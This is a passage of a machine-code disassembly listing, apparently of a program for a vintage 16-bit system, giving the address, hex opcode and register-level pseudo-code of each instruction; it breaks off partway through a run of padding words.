f:00024 d: 293 | OR[293] = A 0x00C4 (0x000188) 0x2118- f:00020 d: 280 | A = OR[280] 0x00C5 (0x00018A) 0x2926- f:00024 d: 294 | OR[294] = A 0x00C6 (0x00018C) 0x211A- f:00020 d: 282 | A = OR[282] 0x00C7 (0x00018E) 0x2927- f:00024 d: 295 | OR[295] = A 0x00C8 (0x000190) 0x2119- f:00020 d: 281 | A = OR[281] 0x00C9 (0x000192) 0x2928- f:00024 d: 296 | OR[296] = A 0x00CA (0x000194) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x00CB (0x000196) 0x5800- f:00054 d: 0 | B = A 0x00CC (0x000198) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x00CE (0x00019C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00CF (0x00019E) 0x8602- f:00103 d: 2 | P = P + 2 (0x00D1), A # 0 0x00D0 (0x0001A0) 0x700A- f:00070 d: 10 | P = P + 10 (0x00DA) 0x00D1 (0x0001A2) 0x2118- f:00020 d: 280 | A = OR[280] 0x00D2 (0x0001A4) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x00D3 (0x0001A6) 0x2908- f:00024 d: 264 | OR[264] = A 0x00D4 (0x0001A8) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00D5 (0x0001AA) 0x0E02- f:00007 d: 2 | A = A << 2 (0x0002) 0x00D6 (0x0001AC) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001) 0x00D7 (0x0001AE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x00D8 (0x0001B0) 0x0C03- f:00006 d: 3 | A = A >> 3 (0x0003) 0x00D9 (0x0001B2) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00DA (0x0001B4) 0x7089- f:00070 d: 137 | P = P + 137 (0x0163) 0x00DB (0x0001B6) 0x7506- f:00072 d: 262 | R = P + 262 (0x01E1) 0x00DC (0x0001B8) 0x2118- f:00020 d: 280 | A = OR[280] 0x00DD (0x0001BA) 0x1438- f:00012 d: 56 | A = A + 56 (0x0038) 0x00DE (0x0001BC) 0x2908- f:00024 d: 264 | OR[264] = A 0x00DF (0x0001BE) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00E0 (0x0001C0) 0x291E- f:00024 d: 286 | OR[286] = A 0x00E1 (0x0001C2) 0x2118- f:00020 d: 280 | A = OR[280] 0x00E2 (0x0001C4) 0x1439- f:00012 d: 57 | A = A + 57 (0x0039) 0x00E3 (0x0001C6) 0x2908- f:00024 d: 264 | OR[264] = A 0x00E4 (0x0001C8) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00E5 (0x0001CA) 0x291F- f:00024 d: 287 | OR[287] = A 0x00E6 (0x0001CC) 0x211E- f:00020 d: 286 | A = OR[286] 0x00E7 (0x0001CE) 0x8604- f:00103 d: 4 | P = P + 4 (0x00EB), A # 0 0x00E8 (0x0001D0) 0x211F- f:00020 d: 287 | A = OR[287] 0x00E9 (0x0001D2) 0x8602- f:00103 d: 2 | P = P + 2 (0x00EB), A # 0 0x00EA (0x0001D4) 0x7012- f:00070 d: 18 | P = P + 18 (0x00FC) 0x00EB (0x0001D6) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x00EC (0x0001D8) 0x2924- f:00024 d: 292 | OR[292] = A 0x00ED (0x0001DA) 0x1800-0x0072 f:00014 d: 0 | A = 114 (0x0072) 0x00EF (0x0001DE) 0x2925- f:00024 d: 293 | OR[293] = A 0x00F0 (0x0001E0) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00F1 (0x0001E2) 0x2926- f:00024 d: 294 | OR[294] = A 0x00F2 (0x0001E4) 0x2118- f:00020 d: 280 | A = OR[280] 0x00F3 (0x0001E6) 0x2927- f:00024 d: 295 | OR[295] = A 0x00F4 (0x0001E8) 0x2119- f:00020 d: 281 | A = OR[281] 0x00F5 (0x0001EA) 0x2928- f:00024 d: 296 | OR[296] = A 0x00F6 (0x0001EC) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x00F7 (0x0001EE) 0x5800- f:00054 d: 0 | B = A 0x00F8 (0x0001F0) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x00FA (0x0001F4) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00FB (0x0001F6) 0x7220- f:00071 d: 32 | P = P - 32 (0x00DB) 0x00FC (0x0001F8) 0x2118- f:00020 d: 280 | A = OR[280] 0x00FD (0x0001FA) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x00FE (0x0001FC) 0x2908- f:00024 d: 264 | OR[264] = A 0x00FF (0x0001FE) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0100 (0x000200) 0x1A00-0xFEFF f:00015 d: 0 | A = A & 65279 (0xFEFF) 0x0102 (0x000204) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0103 (0x000206) 0x1029- f:00010 d: 41 | A = 41 (0x0029) 0x0104 (0x000208) 0x2924- f:00024 d: 292 | OR[292] = A 0x0105 (0x00020A) 0x1800-0x0069 f:00014 d: 0 | A = 105 (0x0069) 0x0107 (0x00020E) 0x2925- f:00024 d: 293 | OR[293] = A 0x0108 (0x000210) 0x2119- f:00020 d: 281 | A = OR[281] 0x0109 (0x000212) 0x2926- f:00024 d: 294 | OR[294] = A 0x010A (0x000214) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x010B (0x000216) 0x2927- f:00024 d: 295 | OR[295] = A 0x010C (0x000218) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x010D (0x00021A) 0x5800- f:00054 d: 0 | B = A 0x010E (0x00021C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x010F (0x00021E) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0110 (0x000220) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0111 (0x000222) 0x2924- f:00024 d: 292 | OR[292] = A 0x0112 (0x000224) 0x1800-0x0069 f:00014 d: 0 | A = 105 (0x0069) 0x0114 (0x000228) 0x2925- f:00024 d: 293 | OR[293] = A 0x0115 (0x00022A) 0x2119- f:00020 d: 281 | A = OR[281] 0x0116 (0x00022C) 0x2926- f:00024 d: 294 | OR[294] = A 0x0117 (0x00022E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0118 (0x000230) 0x2927- f:00024 d: 295 | OR[295] = A 0x0119 (0x000232) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x011A (0x000234) 0x5800- f:00054 d: 0 | B = A 0x011B (0x000236) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x011D (0x00023A) 0x7C09- f:00076 d: 9 | R = OR[9] 0x011E (0x00023C) 0x7045- f:00070 d: 69 | P = P + 69 (0x0163) 0x011F (0x00023E) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0120 (0x000240) 0x2924- f:00024 d: 292 | OR[292] = A 0x0121 (0x000242) 0x1800-0x0075 f:00014 d: 0 | A = 117 (0x0075) 0x0123 (0x000246) 0x2925- f:00024 d: 293 | OR[293] = A 0x0124 (0x000248) 0x2118- f:00020 d: 280 | A = OR[280] 0x0125 (0x00024A) 0x2926- f:00024 d: 294 | OR[294] = A 0x0126 (0x00024C) 0x2119- f:00020 d: 281 | A = OR[281] 0x0127 (0x00024E) 0x2927- f:00024 d: 295 | OR[295] = A 0x0128 (0x000250) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0129 (0x000252) 0x5800- f:00054 d: 0 | B = A 0x012A (0x000254) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x012C (0x000258) 0x7C09- f:00076 d: 9 | R = OR[9] 0x012D (0x00025A) 0x7036- f:00070 d: 54 | P = P + 54 (0x0163) 0x012E (0x00025C) 0x74CB- f:00072 d: 203 | R = P + 203 (0x01F9) 0x012F (0x00025E) 0x2119- f:00020 d: 281 | A = OR[281] 0x0130 (0x000260) 0x141A- f:00012 d: 26 | A = A + 26 (0x001A) 0x0131 (0x000262) 0x2908- f:00024 d: 264 | OR[264] = A 0x0132 (0x000264) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0133 (0x000266) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0134 (0x000268) 0x7438- f:00072 d: 56 | R = P + 56 (0x016C) 0x0135 (0x00026A) 0x702E- f:00070 d: 46 | P = P + 46 (0x0163) 0x0136 (0x00026C) 0x211C- f:00020 d: 284 | A = OR[284] 0x0137 (0x00026E) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006) 0x0138 (0x000270) 0x8613- f:00103 d: 19 | P = P + 19 (0x014B), A # 0 0x0139 (0x000272) 0x74C0- f:00072 d: 192 | R = P + 192 (0x01F9) 0x013A (0x000274) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x013B (0x000276) 0x2924- f:00024 d: 292 | OR[292] = A 0x013C (0x000278) 0x1800-0x0078 f:00014 d: 0 | A = 120 (0x0078) 0x013E (0x00027C) 0x2925- f:00024 d: 293 | OR[293] = A 0x013F (0x00027E) 0x2118- f:00020 d: 280 | A = OR[280] 0x0140 (0x000280) 0x2926- f:00024 d: 294 | OR[294] = A 0x0141 (0x000282) 0x211A- f:00020 d: 282 | A = OR[282] 0x0142 (0x000284) 0x2927- f:00024 d: 295 | OR[295] = A 0x0143 (0x000286) 0x2119- f:00020 d: 281 | A = OR[281] 0x0144 (0x000288) 0x2928- f:00024 d: 296 | OR[296] = A 0x0145 (0x00028A) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0146 (0x00028C) 0x5800- f:00054 d: 0 | B = A 0x0147 (0x00028E) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x0149 (0x000292) 0x7C09- f:00076 d: 9 | R = OR[9] 0x014A (0x000294) 0x7019- f:00070 d: 25 | P = P + 25 (0x0163) 0x014B (0x000296) 0x2119- f:00020 d: 281 | A = OR[281] 0x014C (0x000298) 0x141A- f:00012 d: 26 | A = A + 26 (0x001A) 0x014D (0x00029A) 0x2908- f:00024 d: 264 | OR[264] = A 0x014E (0x00029C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x014F (0x00029E) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0150 (0x0002A0) 0x2119- f:00020 d: 281 | A = OR[281] 0x0151 (0x0002A2) 0x141A- f:00012 d: 26 | A = A + 26 (0x001A) 0x0152 (0x0002A4) 0x2908- f:00024 d: 264 | OR[264] = A 0x0153 (0x0002A6) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0154 (0x0002A8) 0x1A00-0xFFFE f:00015 d: 0 | A = A & 65534 (0xFFFE) 0x0156 (0x0002AC) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0157 (0x0002AE) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0158 (0x0002B0) 0x7414- f:00072 d: 20 | R = P + 20 (0x016C) 0x0159 (0x0002B2) 0x2118- f:00020 d: 280 | A = OR[280] 0x015A (0x0002B4) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x015B (0x0002B6) 0x2908- f:00024 d: 264 | OR[264] = A 0x015C (0x0002B8) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x015D (0x0002BA) 0x0E02- f:00007 d: 2 | A = A << 2 (0x0002) 0x015E (0x0002BC) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001) 0x015F (0x0002BE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0160 (0x0002C0) 0x0C03- f:00006 d: 3 | A = A >> 3 (0x0003) 0x0161 (0x0002C2) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0162 (0x0002C4) 0x7001- f:00070 d: 1 | P = P + 1 (0x0163) 0x0163 (0x0002C6) 0x1017- f:00010 d: 23 | A = 23 (0x0017) 0x0164 (0x0002C8) 0x2924- f:00024 d: 292 | OR[292] = A 0x0165 (0x0002CA) 0x2119- f:00020 d: 281 | A = OR[281] 0x0166 (0x0002CC) 0x2925- f:00024 d: 293 | OR[293] = A 0x0167 (0x0002CE) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0168 (0x0002D0) 0x5800- f:00054 d: 0 | B = A 0x0169 (0x0002D2) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x016A (0x0002D4) 0x7C09- f:00076 d: 9 | R = OR[9] 0x016B (0x0002D6) 0x736B- f:00071 d: 363 | P = P - 363 (0x0000) 0x016C (0x0002D8) 0x2119- f:00020 d: 281 | A = OR[281] 0x016D (0x0002DA) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x016E (0x0002DC) 0x2908- f:00024 d: 264 | OR[264] = A 0x016F (0x0002DE) 0x1005- f:00010 d: 5 | A = 5 (0x0005) 0x0170 (0x0002E0) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0171 (0x0002E2) 0x0400- f:00002 d: 0 | I = 0 0x0172 (0x0002E4) 0x0000- f:00000 d: 0 | PASS 0x0173 (0x0002E6) 0x2119- f:00020 d: 281 | A = OR[281] 0x0174 (0x0002E8) 0x2896- f:00024 d: 150 | OR[150] = A 0x0175 (0x0002EA) 0x7E00-0x19E9 f:00077 d: 0 | R = OR[0]+6633 (0x19E9) 0x0177 (0x0002EE) 0x7E00-0x19DD f:00077 d: 0 | R = OR[0]+6621 (0x19DD) 0x0179 (0x0002F2) 0x0600- f:00003 d: 0 | I = 1 0x017A (0x0002F4) 0x0200- f:00001 d: 0 | EXIT 0x017B (0x0002F6) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x017C (0x0002F8) 0x291F- f:00024 d: 287 | OR[287] = A 0x017D (0x0002FA) 0x211F- f:00020 d: 287 | A = OR[287] 0x017E (0x0002FC) 0x860E- f:00103 d: 14 | P = P + 14 (0x018C), A # 0 0x017F (0x0002FE) 0x101A- f:00010 d: 26 | A = 26 (0x001A) 0x0180 (0x000300) 0x2924- f:00024 d: 292 | OR[292] = A 0x0181 (0x000302) 0x111F- f:00010 d: 287 | A = 287 (0x011F) 0x0182 (0x000304) 0x2925- f:00024 d: 293 | OR[293] = A 0x0183 (0x000306) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0184 (0x000308) 0x5800- f:00054 d: 0 | B = A 0x0185 (0x00030A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0186 (0x00030C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0187 (0x00030E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0189), A # 0 0x0188 (0x000310) 0x7003- f:00070 d: 3 | P = P + 3 (0x018B) 0x0189 (0x000312) 0x7E03-0x0220 f:00077 d: 3 | R = OR[3]+544 (0x0220) 0x018B (0x000316) 0x720E- f:00071 d: 14 | P = P - 14 (0x017D) 0x018C (0x000318) 0x2118- f:00020 d: 280 | A = OR[280] 0x018D (0x00031A) 0x1454- f:00012 d: 84 | A = A + 84 (0x0054) 0x018E (0x00031C) 0x2908- f:00024 d: 264 | OR[264] = A 0x018F (0x00031E) 0x211F- f:00020 d: 287 | A = OR[287] 0x0190 (0x000320) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0191 (0x000322) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0192 (0x000324) 0x291F- f:00024 d: 287 | OR[287] = A 0x0193 (0x000326) 0x101A- f:00010 d: 26 | A = 26 (0x001A) 0x0194 (0x000328) 0x2924- f:00024 d: 292 | OR[292] = A 0x0195 (0x00032A) 0x111F- f:00010 d: 287 | A = 287 (0x011F) 0x0196 (0x00032C) 0x2925- f:00024 d: 293 | OR[293] = A 0x0197 (0x00032E) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0198 (0x000330) 0x5800- f:00054 d: 0 | B = A 0x0199 (0x000332) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x019A (0x000334) 0x7C09- f:00076 d: 9 | R = OR[9] 0x019B (0x000336) 0x8602- f:00103 d: 2 | P = P + 2 (0x019D), A # 0 0x019C (0x000338) 0x7005- f:00070 d: 5 | P = P + 5 (0x01A1) 0x019D (0x00033A) 0x740A- f:00072 d: 10 | R = P + 10 (0x01A7) 0x019E (0x00033C) 0x7E03-0x0220 f:00077 d: 3 | R = OR[3]+544 (0x0220) 0x01A0 (0x000340) 0x7225- f:00071 d: 37 | P = P - 37 (0x017B) 0x01A1 (0x000342) 0x2118- f:00020 d: 280 | A = OR[280] 0x01A2 (0x000344) 0x1455- f:00012 d: 85 | A = A + 85 (0x0055) 0x01A3 (0x000346) 0x2908- f:00024 d: 264 | OR[264] = A 0x01A4 (0x000348) 0x211F- f:00020 d: 287 | A = OR[287] 0x01A5 (0x00034A) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x01A6 (0x00034C) 0x0200- f:00001 d: 0 | EXIT 0x01A7 (0x00034E) 0x2118- f:00020 d: 280 | A = OR[280] 0x01A8 (0x000350) 0x1454- f:00012 d: 84 | A = A + 84 (0x0054) 0x01A9 (0x000352) 0x2908- f:00024 d: 264 | OR[264] = A 0x01AA (0x000354) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01AB (0x000356) 0x2922- f:00024 d: 290 | OR[290] = A 0x01AC (0x000358) 0x2122- f:00020 d: 290 | A = OR[290] 0x01AD (0x00035A) 0x8602- f:00103 d: 2 | P = P + 2 (0x01AF), A # 0 0x01AE (0x00035C) 0x7032- f:00070 d: 50 | P = P + 50 (0x01E0) 0x01AF (0x00035E) 0x101B- f:00010 d: 27 | A = 27 (0x001B) 0x01B0 (0x000360) 0x2924- f:00024 d: 292 | OR[292] = A 0x01B1 (0x000362) 0x2122- f:00020 d: 290 | A = OR[290] 0x01B2 (0x000364) 0x2925- f:00024 d: 293 | OR[293] = A 0x01B3 (0x000366) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x01B4 (0x000368) 0x5800- f:00054 d: 0 | B = A 0x01B5 (0x00036A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01B6 (0x00036C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01B7 (0x00036E) 0x2118- f:00020 d: 280 | A = OR[280] 0x01B8 (0x000370) 0x1455- f:00012 d: 85 | A = A + 85 (0x0055) 0x01B9 (0x000372) 0x2908- f:00024 d: 264 | OR[264] = A 0x01BA (0x000374) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01BB (0x000376) 0x2923- f:00024 d: 291 | OR[291] = A 0x01BC (0x000378) 0x2123- f:00020 d: 291 | A = OR[291] 0x01BD (0x00037A) 0x8602- f:00103 d: 2 | P = P + 2 (0x01BF), A # 0 0x01BE (0x00037C) 0x7009- f:00070 d: 9 | P = P + 9 (0x01C7) 0x01BF (0x00037E) 0x101B- f:00010 d: 27 | A = 27 (0x001B) 0x01C0 (0x000380) 0x2924- f:00024 d: 292 | OR[292] = A 0x01C1 (0x000382) 0x2123- f:00020 d: 291 | A = OR[291] 0x01C2 (0x000384) 0x2925- f:00024 d: 293 | OR[293] = A 0x01C3 (0x000386) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x01C4 (0x000388) 0x5800- f:00054 d: 0 | B = A 0x01C5 (0x00038A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01C6 (0x00038C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01C7 (0x00038E) 0x2118- f:00020 d: 280 | A = OR[280] 0x01C8 (0x000390) 0x1454- f:00012 d: 84 | A = A + 84 (0x0054) 0x01C9 (0x000392) 0x2908- f:00024 d: 264 | OR[264] = A 0x01CA (0x000394) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01CB (0x000396) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x01CC (0x000398) 0x2118- f:00020 d: 280 | A = OR[280] 0x01CD (0x00039A) 0x1455- f:00012 d: 85 | A = A + 85 (0x0055) 0x01CE (0x00039C) 0x2908- f:00024 d: 264 | OR[264] = A 0x01CF (0x00039E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01D0 (0x0003A0) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x01D1 (0x0003A2) 0x1800-0x0C75 f:00014 d: 0 | A = 3189 (0x0C75) 0x01D3 (0x0003A6) 0x2908- f:00024 d: 264 | OR[264] = A 0x01D4 (0x0003A8) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01D5 (0x0003AA) 0x8602- f:00103 d: 2 | P = P + 2 (0x01D7), A # 0 0x01D6 (0x0003AC) 0x700A- f:00070 d: 10 | P = P + 10 (0x01E0) 0x01D7 (0x0003AE) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x01D8 (0x0003B0) 0x2924- f:00024 d: 292 | OR[292] = A 0x01D9 (0x0003B2) 0x1800-0x0C75 f:00014 d: 0 | A = 3189 (0x0C75) 0x01DB (0x0003B6) 0x2925- f:00024 d: 293 | OR[293] = A 0x01DC (0x0003B8) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x01DD (0x0003BA) 0x5800- f:00054 d: 0 | B = A 0x01DE (0x0003BC) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01DF (0x0003BE) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01E0 (0x0003C0) 0x0200- f:00001 d: 0 | EXIT 0x01E1 (0x0003C2) 0x2118- f:00020 d: 280 | A = OR[280] 0x01E2 (0x0003C4) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E) 0x01E3 (0x0003C6) 0x2908- f:00024 d: 264 | OR[264] = A 0x01E4 (0x0003C8) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01E5 (0x0003CA) 0x8602- f:00103 d: 2 | P = P + 2 (0x01E7), A # 0 0x01E6 (0x0003CC) 0x7012- f:00070 d: 18 | P = P + 18 (0x01F8) 0x01E7 (0x0003CE) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x01E8 (0x0003D0) 0x2924- f:00024 d: 292 | OR[292] = A 0x01E9 (0x0003D2) 0x2118- f:00020 d: 280 | A = OR[280] 0x01EA (0x0003D4) 0x143F- f:00012 d: 63 | A = A + 63 (0x003F) 0x01EB (0x0003D6) 0x2925- f:00024 d: 293 | OR[293] = A 0x01EC (0x0003D8) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01ED (0x0003DA) 0x2926- f:00024 d: 294 | OR[294] = A 0x01EE (0x0003DC) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x01EF (0x0003DE) 0x5800- f:00054 d: 0 | B = A 0x01F0 (0x0003E0) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x01F2 (0x0003E4) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01F3 (0x0003E6) 0x2006- f:00020 d: 6 | A = OR[6] 0x01F4 (0x0003E8) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x01F5 (0x0003EA) 0x2908- f:00024 d: 264 | OR[264] = A 0x01F6 (0x0003EC) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01F7 (0x0003EE) 0x7216- f:00071 d: 22 | P = P - 22 (0x01E1) 0x01F8 (0x0003F0) 0x0200- f:00001 d: 0 | EXIT 0x01F9 (0x0003F2) 0x7618- f:00073 d: 24 | R = P - 24 (0x01E1) 0x01FA (0x0003F4) 0x2119- f:00020 d: 281 | A = OR[281] 0x01FB (0x0003F6) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F) 0x01FC (0x0003F8) 0x2908- f:00024 d: 264 | OR[264] = A 0x01FD (0x0003FA) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01FE (0x0003FC) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x01FF (0x0003FE) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0200 (0x000400) 0x8402- f:00102 d: 2 | P = P + 2 (0x0202), A = 0 0x0201 (0x000402) 0x700A- f:00070 d: 10 | P = P + 10 (0x020B) 0x0202 (0x000404) 0x2119- f:00020 d: 281 | A = OR[281] 0x0203 (0x000406) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F) 0x0204 (0x000408) 0x2908- f:00024 d: 264 | OR[264] = A 0x0205 (0x00040A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0206 (0x00040C) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003) 0x0207 (0x00040E) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0208 (0x000410) 0x8402- f:00102 d: 2 | P = P + 2 (0x020A), A = 0 0x0209 (0x000412) 0x7002- f:00070 d: 2 | P = P + 2 (0x020B) 0x020A (0x000414) 0x0200- f:00001 d: 0 | EXIT 0x020B (0x000416) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x020C (0x000418) 0x2924- f:00024 d: 292 | OR[292] = A 0x020D (0x00041A) 0x1800-0x0073 f:00014 d: 0 | A = 115 (0x0073) 0x020F (0x00041E) 0x2925- f:00024 d: 293 | OR[293] = A 0x0210 (0x000420) 0x2118- f:00020 d: 280 | A = OR[280] 0x0211 (0x000422) 0x2926- f:00024 d: 294 | OR[294] = A 0x0212 (0x000424) 0x2119- f:00020 d: 281 | A = OR[281] 0x0213 (0x000426) 0x2927- f:00024 d: 295 | OR[295] = A 0x0214 (0x000428) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0215 (0x00042A) 0x5800- f:00054 d: 0 | B = A 0x0216 (0x00042C) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x0218 (0x000430) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0219 (0x000432) 0x0200- f:00001 d: 0 | EXIT 0x021A (0x000434) 0x2006- f:00020 d: 6 | A = OR[6] 0x021B (0x000436) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x021C (0x000438) 0x2908- f:00024 d: 264 | OR[264] = A 0x021D (0x00043A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x021E (0x00043C) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x021F (0x00043E) 0x290D- f:00024 d: 269 | OR[269] = A 0x0220 (0x000440) 0x210D- f:00020 d: 269 | A = OR[269] 0x0221 (0x000442) 0x291D- f:00024 d: 285 | OR[285] = A 0x0222 (0x000444) 0x1005- f:00010 d: 5 | A = 5 (0x0005) 0x0223 (0x000446) 0x290D- f:00024 d: 269 | OR[269] = A 0x0224 (0x000448) 0x210D- f:00020 d: 269 | A = OR[269] 0x0225 (0x00044A) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0226 (0x00044C) 0x290D- f:00024 d: 269 | OR[269] = A 0x0227 (0x00044E) 0x2006- f:00020 d: 6 | A = OR[6] 0x0228 (0x000450) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x0229 (0x000452) 0x2908- f:00024 d: 264 | OR[264] = A 0x022A (0x000454) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x022B (0x000456) 0x1A00-0xFFF0 f:00015 d: 0 | A = A & 65520 (0xFFF0) 0x022D (0x00045A) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x022E (0x00045C) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x022F (0x00045E) 0x1009- f:00010 d: 9 | A = 9 (0x0009) 0x0230 (0x000460) 0x2924- f:00024 d: 292 | OR[292] = A 0x0231 (0x000462) 0x1800-0x0C75 f:00014 d: 0 | A = 3189 (0x0C75) 0x0233 (0x000466) 0x2925- f:00024 d: 293 | OR[293] = A 0x0234 (0x000468) 0x100A- f:00010 d: 10 | A = 10 (0x000A) 0x0235 (0x00046A) 0x2926- f:00024 d: 294 | OR[294] = A 0x0236 (0x00046C) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0237 (0x00046E) 0x5800- f:00054 d: 0 | B = A 0x0238 (0x000470) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x023A (0x000474) 0x7C09- f:00076 d: 9 | R = OR[9] 0x023B (0x000476) 0x2006- f:00020 d: 6 | A = OR[6] 0x023C (0x000478) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x023D (0x00047A) 0x2908- f:00024 d: 264 | OR[264] = A 0x023E (0x00047C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x023F (0x00047E) 0x211D- f:00020 d: 285 | A = OR[285] 0x0240 (0x000480) 0x290D- f:00024 d: 269 | OR[269] = A 0x0241 (0x000482) 0x210D- f:00020 d: 269 | A = OR[269] 0x0242 (0x000484) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x0243 (0x000486) 0x290D- f:00024 d: 269 | OR[269] = A 0x0244 (0x000488) 0x2006- f:00020 d: 6 | A = OR[6] 0x0245 (0x00048A) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x0246 (0x00048C) 0x2908- f:00024 d: 264 | OR[264] = A 0x0247 (0x00048E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0248 (0x000490) 0x1A00-0xFFF0 f:00015 d: 0 | A = A & 65520 (0xFFF0) 0x024A (0x000494) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x024B (0x000496) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x024C (0x000498) 0x0200- f:00001 d: 0 | EXIT 0x024D (0x00049A) 0x0000- f:00000 d: 0 | PASS 0x024E (0x00049C) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 **** 0x024F (0x00049E) 0x0002- f:00000 d: 2 | PASS | **** non-standard encoding with D:0x0002 **** 0x0250 (0x0004A0) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 **** 0x0251 (0x0004A2) 0x0004- f:00000 d: 4 | PASS | **** non-standard encoding with D:0x0004 **** 0x0252 (0x0004A4) 0x0005- f:00000 d: 5 | PASS | **** non-standard encoding with 